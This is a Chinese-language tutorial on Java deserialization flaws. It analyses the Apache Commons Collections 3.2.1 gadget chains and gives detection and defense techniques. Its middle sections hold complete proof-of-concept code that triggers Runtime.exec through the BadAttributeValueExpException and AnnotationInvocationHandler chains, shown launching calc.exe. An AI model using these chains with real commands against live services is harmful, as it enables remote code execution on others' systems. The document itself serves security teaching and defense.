在学习Java反序列化漏洞之前,建议先熟悉Java序列化和反序列化机制

在反序列化漏洞中,Java类反序列化漏洞较PHP和Python的相比,显得稍微复杂一些。主要是要求对Java较为熟悉。下面小结一下Java反序列化漏洞的相关内容。

0x01 何为Java反序列化漏洞

当开发者自定义实现Serializable、添加自己的readObject()方法时,若readObject()方法内代码逻辑存在缺陷,则可能存在Java反序列化漏洞的风险。如果此时Java服务的反序列化API允许外部用户使用,则会导致攻击者使用精心构造的payload来利用反序列化漏洞达到任意代码执行的目的。

Java反序列化中readObject()方法的作用相当于PHP反序列化中的魔术函数,使反序列化过程在一定程度上受控成为可能,是否真的可控,还需分析每个对象的readObject()方法具体是如何实现的。通常情况下,在Java的readObject()方法中很少会像CTF中PHP的反序列化漏洞题目一样直接将漏洞代码写在该方法中,这时就需要去构造反射链来进行任意代码执行。

0x02 重写readObject()示例

Java反序列化漏洞的根源在于重写readObject()方法导致存在漏洞代码。

readObject()方法重写的格式如下:

1
private void readObject(ObjectInputStream stream) throws IOException, ClassNotFoundException

注意,readObject()方法被定义成了private,并且是必须尝试捕获IOException和ClassNotFoundException的异常。

这里再贴另外一个简单的示例,创建一个不安全的类对象,赋值其name属性并序列化为文件保存起来,接着通过反序列化该文件获取该对象及其属性值,通过重写readObject()方法在调用默认的readObject()方法之后添加一条执行计算器的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import java.io.*;

public class test {
public static void main(String args[]) throws Exception{

UnsafeClass Unsafe = new UnsafeClass();
Unsafe.name = "Mi1k7ea";

System.out.println("[*]序列化对象");
FileOutputStream fos = new FileOutputStream("object.ser");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(Unsafe);
os.close();
fos.close();

System.out.println("[*]反序列化文件中保存的序列化对象");
FileInputStream fis = new FileInputStream("object.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
UnsafeClass objectFromDisk = (UnsafeClass)ois.readObject();
System.out.println(objectFromDisk.name);
ois.close();
fis.close();
}
}

class UnsafeClass implements Serializable{
public String name;
//重写readObject()方法
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
//执行默认的readObject()方法
in.defaultReadObject();
//执行命令
Runtime.getRuntime().exec("calc.exe");
}
}

可以看到,在readObject()方法调用时Java的序列化机制会先寻找用户是否自定义了readObject()方法,若有则直接调用该自定义的方法而非默认的readObject()方法:

重写readObject()方法

0x03 Apache Commons Collections反序列化漏洞分析

Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,包含了很多jar工具包,提供了很多强有力的数据结构类型并且实现了各种集合工具类。

org.apache.commons.collections提供一个类包来扩展和增加标准的Java的collection框架,也就是说这些扩展也属于collection的基本概念,只是功能不同罢了。Java中的collection可以理解为一组对象,collection里面的对象称为collection的对象。具象的collection为set、list、queue等等,它们是集合类型。换一种理解方式,collection是set、list、queue的抽象。

作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发,而正是因为在大量web应用程序中这些类的实现以及方法的调用,导致了反序列化用漏洞的普遍性和严重性。

影响版本:3.2.1及以下版本的Commons Collections包。

下面就简单地模拟该序列化漏洞产生、payload的构造及利用过程。这里示例用的commons-collections-3.2.1.jar包。

漏洞点

Apache Commons Collections中有一个特殊的接口Transformer,其中有一个实现该接口的类InvokerTransformer可以通过调用Java的反射机制来调用任意函数,其源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
public class InvokerTransformer implements Transformer, Serializable {
private static final long serialVersionUID = -8653385846894047688L;
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;

public static Transformer getInstance(String methodName) {
if (methodName == null) {
throw new IllegalArgumentException("The method to invoke must not be null");
} else {
return new InvokerTransformer(methodName);
}
}

public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
if (methodName == null) {
throw new IllegalArgumentException("The method to invoke must not be null");
} else if (paramTypes == null && args != null || paramTypes != null && args == null || paramTypes != null && args != null && paramTypes.length != args.length) {
throw new IllegalArgumentException("The parameter types must match the arguments");
} else if (paramTypes != null && paramTypes.length != 0) {
paramTypes = (Class[])((Class[])paramTypes.clone());
args = (Object[])((Object[])args.clone());
return new InvokerTransformer(methodName, paramTypes, args);
} else {
return new InvokerTransformer(methodName);
}
}

private InvokerTransformer(String methodName) {
this.iMethodName = methodName;
this.iParamTypes = null;
this.iArgs = null;
}

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}

public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var4) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);
}
}
}
}

可以看到该InvokerTransformer类是实现Transformer接口的(Transformer接口主要用于转换并返回一个给定的Object对象),且其中的transform()方法采用反射机制进行任意函数调用,这就是漏洞点所在。

这里是反射机制关键的三句代码:

1
2
3
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);

第一句:input为Object对象,获取其对应的Class;

第二句:获取cls类中具体的方法对象;

第三句:执行input对象的method方法,返回同method一样的返回类型。

上述三句代码其实等同于下面的代码,即可以直接合并起来:

1
input.getClass().getMethod(this.iMethodName, this.iParamTypes).invoke(input, this.iArgs);

下面编写代码进行弹出计算器的测试来验证该漏洞点是否能利用:

1
2
3
4
5
6
7
8
9
public class POC_Test{
public static void main(String[] args) throws Exception {
InvokerTransformer it = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc.exe"});
it.transform(java.lang.Runtime.getRuntime());
}
}

demo

可以看到是可以弹出计算器的,即可以进行漏洞利用,但是有个问题,就是我们不能从外部直接传入java.lang.Runtime.getRuntime(),这时就需要我们去构造链式结构的payload来实现漏洞利用。

下面就开始构造反射链payload来实现反序列化漏洞的利用。

1、通过反射构造可序列化的恶意反射链对象

一步步来,我们知道,要让Java程序执行执行命令,通常是获取到Runtime的实例,再调用它的exec()执行命令:

1
2
Runtime runtime = Runtime.getRuntime();
runtime.exec(cmd);

接着将其表示为链式结构的形式,因为底层通过反射技术获取对象调用函数都会存在一个上下文环境,使用链式结构的语句可以保证执行过程中这个上下文是一致的:

1
java.lang.Runtime.getRuntime().exec(cmd)

好了,我们知道构造的反射链是这种格式,下面开始分析Commons Collections的payload的链式结构。

Commons Collections中有一个用于对象之间转换的Transformer接口,先看构造的链式结构payload中涉及到的几个实现类,只需看其构造方法和transform()方法即可。

1、ConstantTransformer类,是一个Transformer接口实现类,其构造方法和transform()方法如下,可看到transform()方法会原封不动地返回传入的Object,从而可构造外部输入的常量如Runtime.class:

1
2
3
4
5
6
7
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}

public Object transform(Object input) {
return this.iConstant;
}

2、InvokerTransformer类,在漏洞点中已说明。

3、ChainedTransformer类,是一个Transformer接口实现类,其构造方法和transform()方法如下,其transform()方法用于链接多个步骤构造的transformer,其中object参数为上一次调用transform()的返回结果:

1
2
3
4
5
6
7
8
9
10
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}

public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}

接着看下面这段构造的payload链式结构:

1
2
3
4
5
6
7
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe",}),
};
Transformer transformerChain = new ChainedTransformer(transformers);

构造过程如下:

  1. 构造一个ConstantTransformer对象,把Runtime的Class对象传进去,在transform()时,始终会返回这个对象;
  2. 构造一个InvokerTransformer对象,待调用方法名为getMethod,参数为getRuntime,在transform()时,传入第一步的结果,此时的input应该是java.lang.Runtime,但经过getClass()之后,cls为java.lang.Class,之后getMethod()只能获取java.lang.Class的方法,因此才会定义的待调用方法名为getMethod,然后其参数才是getRuntime,它得到的是getMethod这个方法的Method对象,invoke()调用这个方法,最终得到的才是getRuntime这个方法的Method对象;
  3. 构造一个InvokerTransformer对象,待调用方法名为invoke,参数为空,在transform()时,传入第二步的结果,同理,cls将会是java.lang.reflect.Method,再获取并调用它的invoke()方法,实际上是调用上面的getRuntime()拿到Runtime对象;
  4. 构造一个InvokerTransformer对象,待调用方法名为exec,参数为命令字符串,在transform()时,传入第三步的结果,获取java.lang.Runtime的exec方法并传参调用;
  5. 最后把它们组装成一个数组全部放进ChainedTransformer中,在transform()时,会将前一个元素的返回结果作为下一个的参数,刚好满足需求。

有一个问题——上面的第2、3步是不是可以简化一下,考虑用下面这种逻辑更清晰的方式来构造呢?

1
2
3
4
Transformer[] trans = new Transformer[] {
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("getRuntime", new Class[0], new Object[0]),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { cmd })};

答案是不行的。虽然单看整个链,无论是定义还是执行都是没有任何问题的,但是在后续序列化时,由于Runtime.getRuntime()得到的是一个对象,这个对象也需要参与序列化过程,而Runtime本身是没有实现Serializable接口的,所以会导致序列化失败。

构造完这条Transformer链,就等着谁来执行它的transform()了。

这里可以先直接在代码下面添加transformerChain.transform(null);语句来查看该Transformer链是否真的可以执行命令且该对象是否可以被序列化,代码示例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class test {
public static void main(String args[]) throws Exception{

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe",}),
};
Transformer transformerChain = new ChainedTransformer(transformers);

//测试我们的恶意对象是否可以被序列化
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(transformerChain);

//执行以下语句就可以调用起计算器
transformerChain.transform(null);
}
}

执行之后程序没报错,即该Transformer链可以进行序列化,并且在执行transformerChain.transform(null);时成功弹出计算器:

payload1

该Transformer链没有问题,下面就是找Commons Collections中哪些地方可以执行该Transformer链的transform()方法以及寻找含有自定义有漏洞的readObject()方法的类了。

2、查找自定义readObject()方法且存在漏洞代码的类

如网上所说,在JDK较早的版本中存在AnnotationInvocationHandler类 ,其类对象在初始化时可以传入一个Map类型参数赋值给字段memberValues,readObject()过程中如果满足一定条件就会对memberValues中的元素进行setValue()。

但是,在较新版本的JDK中AnnotationInvocationHandler没有了setValue()方法,但是可以使用BadAttributeValueExpException类来实现。由于本地环境的JDK为较新的版本,因此就先对BadAttributeValueExpException类进行分析。

利用类1——BadAttributeValueExpException

下面看下BadAttributeValueExpException类定义,可以看到定义了一个名为val的对象类型属性,且自定义了readObject()方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
public class BadAttributeValueExpException extends Exception   {
/* Serial version */
private static final long serialVersionUID = -3105272988410493376L;

/**
* @serial A string representation of the attribute that originated this exception.
* for example, the string value can be the return of {@code attribute.toString()}
*/
private Object val;

/**
* Constructs a BadAttributeValueExpException using the specified Object to
* create the toString() value.
*
* @param val the inappropriate value.
*/
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}

/**
* Returns the string representing the object.
*/
public String toString() {
return "BadAttributeValueException: " + val;
}

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
}

查看自定义的readObejct()方法,其中在满足System.getSecurityManager() == null时会调用 valObj.toString(),从攻击思路上看,其他的条件都是无法满足的。因此valObj.toString()就成为了突破口,此时要找到一个合适的工具在toString()方法被调用的时候会触发我们构造的恶意代码。

利用类2——AnnotationInvocationHandler

前提是换个低的JDK版本,本地测试时换的JDK1.7。

先看下AnnotationInvocationHandler的类定义,定义了Class类型的type变量、Map类型的memberValues变量以及Method[]类型的memberMethods数组变量,并且重写了readObject()方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private final Class type;
private final Map<String, Object> memberValues;
private transient volatile Method[] memberMethods = null;

AnnotationInvocationHandler(Class var1, Map<String, Object> var2) {
this.type = var1;
this.memberValues = var2;
}

public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else {
assert var5.length == 0;

if (var4.equals("toString")) {
return this.toStringImpl();
} else if (var4.equals("hashCode")) {
return this.hashCodeImpl();
} else if (var4.equals("annotationType")) {
return this.type;
} else {
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}

return var6;
}
}
}
}
...
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;

try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
return;
}

Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();

while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}

}
}

可以看到,在readObject()函数中,在其遍历memberValues.entrySet()时,会用键名在memberTypes中尝试获取一个Class(这里为var7变量),并判断它是否为null,这是触发反序列化RCE所需要满足的条件。

接下来是网上很少提到过的一个结论:首先,memberTypes是AnnotationType的一个字段,里面存储着Annotation接口声明的方法信息 (键名为方法名,值为方法返回类型) 。因此,我们在获取AnnotationInvocationHandler实例时,需要传入一个方法个数大于0的Annotation子类 (一般来说,若方法个数大于0,都会包含一个名为value的方法) ,并且原始Map中必须存在任意以这些方法名为键名的元素,且元素值不是该方法返回类型的实例,才能顺利进入setValue()的流程。

因此我们只需要:

  1. 寻找一个Map类,该类的特点是其中的Entry在SetValue的时候会执行额外的程序;
  2. 将这个Map类作为参数构建一个AnnotationInvocationHandler对象,并序列化;

3、查找可通过toString()触发transform()方法的合适的类

利用类1——BadAttributeValueExpException

从BadAttributeValueExpException类的readObejct()方法知道,关注点在valObj.toString()中,那么现在就需要找到一个合适的类在调用toString()方法时触发transform()方法来执行我们构造的反射链。

LazyMap——调用get()方法触发transform()方法

LazyMap是Commons-collections 3.1提供的一个工具类,是Map的一个实现,主要的内容是利用工厂设计模式,在用户get一个不存在的key的时候执行一个方法来生成Key值,当且仅当get行为存在的时候Value才会被生成。其定义代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
public class LazyMap extends AbstractMapDecorator implements Map, Serializable {
private static final long serialVersionUID = 7990956402564206740L;
protected final Transformer factory;

public static Map decorate(Map map, Factory factory) {
return new LazyMap(map, factory);
}

public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}

protected LazyMap(Map map, Factory factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = FactoryTransformer.getInstance(factory);
}
}

protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = factory;
}
}

private void writeObject(ObjectOutputStream out) throws IOException {
out.defaultWriteObject();
out.writeObject(this.map);
}

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
this.map = (Map)in.readObject();
}

public Object get(Object key) {
if (!this.map.containsKey(key)) {
Object value = this.factory.transform(key);
this.map.put(key, value);
return value;
} else {
return this.map.get(key);
}
}
}

LazyMap测试代码,在get一个不存在的key的时候执行一个方法来生成Key值,下面的代码运行结果会调用transform()输出”Mi1k7ea”:

1
2
3
4
5
6
7
8
9
10
public class Test{
public static void main(String[] args) throws Exception {
Map targetMap = LazyMap.decorate(new HashMap(), new Transformer() {
public Object transform(Object input) {
return "Mi1k7ea";
}
});
System.out.println(targetMap.get("hhhhhhhh"));
}
}

TiedMapEntry——调用toString()方法触发getValue()方法(即LazyMap.get())

TiedMapEntry也存在于Commons-collections 3.1,该类主要的作用是将一个Map绑定到Map.Entry下,形成一个映射。

主要代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
public class TiedMapEntry implements Entry, KeyValue, Serializable {
private static final long serialVersionUID = -8453869361373831205L;
private final Map map;
private final Object key;

public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}

public Object getKey() {
return this.key;
}

public Object getValue() {
return this.map.get(this.key);
}

public Object setValue(Object value) {
if (value == this) {
throw new IllegalArgumentException("Cannot set value to this map entry");
} else {
return this.map.put(this.key, value);
}
}

public boolean equals(Object obj) {
if (obj == this) {
return true;
} else if (!(obj instanceof Entry)) {
return false;
} else {
boolean var10000;
label43: {
label29: {
Entry other = (Entry)obj;
Object value = this.getValue();
if (this.key == null) {
if (other.getKey() != null) {
break label29;
}
} else if (!this.key.equals(other.getKey())) {
break label29;
}

if (value == null) {
if (other.getValue() == null) {
break label43;
}
} else if (value.equals(other.getValue())) {
break label43;
}
}

var10000 = false;
return var10000;
}

var10000 = true;
return var10000;
}
}

public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}

public String toString() {
return this.getKey() + "=" + this.getValue();
}
}

分析下这个类,首先是toString()中调用了getValue(),而getValue()中实际是map.get(key),如此一来就构建起了整个调用链接了。

利用类2——AnnotationInvocationHandler

从AnnotationInvocationHandler类的readObejct()方法知道,关注点在memberValue.setValue()中,那么现在就需要找到一个合适的类在调用setValue()方法时触发transform()方法来执行我们构造的反射链。

TransformedMap

TransformedMap是Commons-collections 3.1提供的一个工具类,用来包装一个Map对象,并且在该对象的Entry的Key或者Value进行改变的时候,对该Key和Value进行Transformer提供的转换操作,从而满足了我们对理想型媒介的需求,即能在调用setValue()方法时触发transform()方法来执行我们构造的反射链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {
private static final long serialVersionUID = 7023152376788900464L;
protected final Transformer keyTransformer;
protected final Transformer valueTransformer;

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
...
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

protected Object transformKey(Object object) {
return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
}

protected Object transformValue(Object object) {
return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}

protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}
...
}

构造过程小结

利用类1——BadAttributeValueExpException

这里将上述分析的调用过程做个图清晰地列出来,相信应该很明确该反射链执行的过程了:

demo3

最终构造的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
public class test {
public static void main(String args[]) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe",}),
};
Transformer transformerChain = new ChainedTransformer(transformers);

final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);

TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);

//利用反射的方式来向对象传参
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, entry);

test t = new test();
t.deserialize(t.serialize(val));
}

public byte[] serialize(final Object obj) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
return out.toByteArray();
}

public Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
ByteArrayInputStream in = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(in);
return objIn.readObject();
}

}

运行结果,弹出计算器:

demo3

利用类2——AnnotationInvocationHandler

这里将上述分析的调用过程做个图清晰地列出来,相信应该很明确该反射链执行的过程了:

demo3

最终构造的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public class POC_Test{
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe",}),
};
Transformer transformerChain = new ChainedTransformer(transformers);

Map innermap = new HashMap();
innermap.put("value", "value");
Map outmap = TransformedMap.decorate(innermap, null, transformerChain);
//通过反射获得AnnotationInvocationHandler类对象
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//通过反射获得cls的构造函数
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
//这里需要设置Accessible为true,否则序列化失败
ctor.setAccessible(true);
//通过newInstance()方法实例化对象
Object instance = ctor.newInstance(Retention.class, outmap);

POC_Test poc_test = new POC_Test();
poc_test.deserialize(poc_test.serialize(instance));
}

public byte[] serialize(final Object obj) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
return out.toByteArray();
}

public Object deserialize(final byte[] serialized) throws Exception {
ByteArrayInputStream in = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(in);
return objIn.readObject();
}
}

运行结果,弹出计算器:

demo3

0x04 检测方法

全局搜索ObjectInputStream类,检查是否调用readObject()方法,若存在该方法则检查其是否进行了重写,若重写了readObject()方法则需严格排查是否可构造反射链来执行任意命令。

当然,结合其他几个类型的Java反序列漏洞,全局搜索的类方法如下:

1
2
3
4
5
6
7
ObjectInputStream.readObject
ObjectInputStream.readUnshared
XMLDecoder.readObject
Yaml.load
XStream.fromXML
ObjectMapper.readValue
JSON.parseObject

0x05 防御方法

1、重写ObjectInputStream的resolveClass(),设置黑白名单机制

最常见的方法,就是在ObjectInputStream中设置黑白名单机制的方式进行防御。下面就在Apache Commons Collections反序列化漏洞示例代码中直接添加防御代码。

写一个SecureObjectInputStream类,继承于ObjectInputStream,重写resolveClass()方法实现黑名单机制过滤:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import javax.management.BadAttributeValueExpException;
import java.io.*;

public class SecureObjectInputStream extends ObjectInputStream {
public SecureObjectInputStream(InputStream inputStream)
throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(BadAttributeValueExpException.class.getName())) {
throw new InvalidClassException("触发黑名单机制,禁止反序列化恶意类对象", desc.getName());
}
return super.resolveClass(desc);
}
}

接着只需在调用代码中将ObjectInputStream替换为SecureObjectInputStream来创建ObjectInputStream对象。再次运行时发现,触发黑名单机制,无法进行反序列化漏洞的利用:

demo3

2、利用SerialKiller.jar

原理和上面是一样的,只是已经是成熟的轮子了可以直接使用。具体的参考https://github.com/ikkisoft/SerialKiller

创建sk.conf配置文件在本地项目根目录中,其中只设置了黑名单过滤BadAttributeValueExpException:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?xml version="1.0" encoding="UTF-8"?>
<!-- serialkiller.conf -->
<config>
<refresh>6000</refresh>
<mode>
<profiling>false</profiling>
</mode>
<logging>
<enabled>false</enabled>
</logging>
<blacklist>
<regexp>.*BadAttributeValueExpException$</regexp>
</blacklist>
<whitelist>
<regexp>.*</regexp>
</whitelist>
</config>

将SerialKiller.jar添加进Java项目中,并将其替换掉ObjectInputStream来创建ObjectInputStream对象。运行后发现,黑名单过滤了BadAttributeValueExpException类并抛出错误无法往下执行:

demo3

3、禁止JVM执行外部命令Runtime.exec

通过扩展SecurityManager可以实现,这里添加一个函数,在进行反序列化操作之前调用即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public static void noSerial(){
SecurityManager originalSecurityManager = System.getSecurityManager();
if (originalSecurityManager == null) {
// 创建自己的SecurityManager
SecurityManager sm = new SecurityManager() {
private void check(Permission perm) {
// 禁止exec
if (perm instanceof java.io.FilePermission) {
String actions = perm.getActions();
if (actions != null && actions.contains("execute")) {
throw new SecurityException("execute denied!");
}
}
// 禁止设置新的SecurityManager,保护自己
if (perm instanceof java.lang.RuntimePermission) {
String name = perm.getName();
if (name != null && name.contains("setSecurityManager")) {
throw new SecurityException("System.setSecurityManager denied!");
}
}
}

@Override
public void checkPermission(Permission perm) {
check(perm);
}

@Override
public void checkPermission(Permission perm, Object context) {
check(perm);
}
};

System.setSecurityManager(sm);
}
}

将创建ObjectInputStream对象的语句换回原来的ObjectInputStream类,在反序列化之前调用前面定义的函数noSerial(),运行发现,无报错,也没有弹出计算器,即防御成功:

demo3

0x06 参考

Java反序列化漏洞的原理分析

Java反序列化漏洞从入门到深入

Java反序列化漏洞分析

浅析Java序列化和反序列化

深入理解 JAVA 反序列化漏洞